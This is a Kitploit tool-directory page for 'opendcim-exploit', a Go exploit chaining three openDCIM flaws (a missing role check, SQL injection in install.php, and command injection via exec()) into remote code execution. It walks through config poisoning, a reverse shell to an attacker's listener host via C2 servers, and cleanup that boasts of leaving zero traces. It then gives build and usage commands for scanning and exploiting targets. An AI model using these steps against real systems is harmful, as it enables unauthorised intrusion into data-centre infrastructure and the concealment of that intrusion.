Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
opendcim-exploit — openDCIM install.php SQLi to RCE chain (CWE-862 + CWE-89 + CWE-78) | Kitploit
Tools/GitHubGitHub/chocapikk/opendcim-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubchocapikk/opendcim-exploit

opendcim-exploit

openDCIM install.php SQLi to RCE chain (CWE-862 + CWE-89 + CWE-78)

View Repository
525 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

openDCIM - SQLi to RCE via Config Poisoning

Remote code execution chain targeting openDCIM's install.php LDAP configuration form. Built on the VulnCheck go-exploit framework.

Vulnerability Chain

#CVECWEDescription
1CVE-2026-28515CWE-862install.php performs no role check before the LDAP config form - any user reaches it
2CVE-2026-28516CWE-89Config::UpdateParameter() uses string interpolation, stacked queries via PDO+MySQL
3CVE-2026-28517CWE-78report_network_map.php passes the dot config value directly to exec()

Affected: All versions (tested on latest commit 4467e9c4)

How It Works

  1. POST to install.php - SQL injection via LDAP form backs up config, overwrites dot with a command payload
  2. GET report_network_map.php - triggers exec(), confirms RCE via id output
  3. POST to install.php - overwrites dot with reverse shell payload
  4. GET report_network_map.php - triggers reverse shell
  5. POST to install.php - restores all original config values from backup table

Zero traces left in the database after exploitation.

Build

root@kitploit:~
go build -o opendcim-exploit .

Usage

Docker deployments (unauthenticated)

root@kitploit:~
# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80

# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer

htpasswd deployments (any valid user)

root@kitploit:~
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass

SSL

root@kitploit:~
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer

Flags

Download Tool
FlagDefaultDescription
-rhostTarget host
-rport80Target port
-sslfalseUse HTTPS
-lhostListener host (for reverse shell)
-lportListener port (for reverse shell)
-c2C2 type: SimpleShellServer or SSLShellServer
-usernameHTTP Basic Auth username (omit for SetEnv deployments)
-passwordHTTP Basic Auth password (omit for SetEnv deployments)
-aAsset detection (check if target is exploitable)
-eExploit mode